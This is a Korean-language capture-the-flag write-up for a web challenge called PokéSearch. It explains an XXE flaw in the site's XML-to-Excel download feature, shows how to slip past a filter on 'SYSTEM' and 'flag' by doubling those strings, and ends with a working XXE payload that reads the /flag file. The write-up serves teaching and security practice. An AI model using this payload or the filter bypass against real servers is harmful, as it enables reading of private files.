[WEB] PokéSearch

Explanation:

단일 웹 페이지로 구성된 포켓몬 검색 도구.

검색할 때마다 서버에 요청해 새 결과를 받아오는 것이 아니라, Generation 을 변경했을 때만 그 세대의 포켓몬 전체 목록을 가져와 테이블에 채워 넣고 그 이후 사용자의 키워드 검색에 대해서는 클라이언트단에서 Javascript 를 통해 검색 조건에 충족되지 않는 라인을 화면에서 숨기는 방식으로 동작한다.

Solve:

Download as Excel 기능으로 현재 화면에 표시되어 있는 검색 결과를 엑셀 파일로 다운로드할 수 있다. 테이블 하단 우측의 다운로드 버튼을 누르면 클라이언트에서는 검색 결과를 XML 형식의 텍스트인 xmlData 으로 만들어 서버에 전송하고, 서버는 이 XML 을 파싱해서 그 내용을 Excel 파일로 재구성해 응답에 포함한다.

이때, 서버 측 구현의 취약한설정으로 인해 XXE(XML External Entities) 공격이 통할 수 있다. 이 웹앱은 외부 엔티티 불러오기 기능이 특별히 필요하지 않음에도 의도적으로 허용해 두었다. php 의 확장 모듈인 libxml 은 기본적으로 외부 엔티티 로드가 비활성화되어 있어 특별히 활성화하지 않으면 안전한 편이다(조사했을 때는 버전 8 이상에서만 기본 설정이 안전하다고 되어 있었지만, Docker image 기준으로는 과거 버전 php(7.*, 5.*)에서도 명시적으로 손대지 않은 기본 설정에서 XXE 가 발생하는 경우를 찾아내지 못하였다. 아마 libxml 버전이 2.9 미만인 경우에 취약한 것 같지만 확실하지 않음.)

제공된 Dockerfile 에 의하면 `/flag` 파일은 시스템 루트에 위치한다. 그 내용을 XML 에 삽입해 flag 를 확인하기 위한 XXE 페이로드를 구성하려면, ` download.php` 소스코드를 보고 몇 가지 사항을 고려해야 한다.

- `SYSTEM`, `flag` 키워드를 빈 텍스트로 대치하고 있음

    → `SYSTSYSTEMEM`, `fflaglag` 처럼 작성하여 간단히 우회 가능

- 서버에서 파싱 결과를 엑셀 문서로 변환할 때, 사전 정의된 테이블 구조 및 label 이름과 일치해야만 문서에 포함

→ 본문을 임의로 간단하게 구성해서 시도하면 실패할 것임

→ 기존의 정상적인 엑셀 문서를 생성하는 xmlData 를 기반으로 엔티티 요소를 추가 및 본문 일부를 수정하는 식으로 페이로드를 작성해야 함

최종 XML 페이로드 예제는 다음과 같다.

<?xml version="1.0"?>

<!DOCTYPE foo[<!ENTITY bar SYSSYSTEMTEM "/flflagag">]>

<members><member><no>&bar;</no><dex>#633</dex><name>Deino</name><name-japanese>モノズ</name-japanese><name-japanese-roman>Monozu</name-japanese-roman><sprite>https://raw.githubusercontent.com/msikma/pokesprite/master/pokemon-gen7x/regular/deino.png</sprite><sprite-shiny>https://raw.githubusercontent.com/msikma/pokesprite/master/pokemon-gen7x/shiny/deino.png</sprite-shiny><form>–</form><slug>deino</slug></member></members>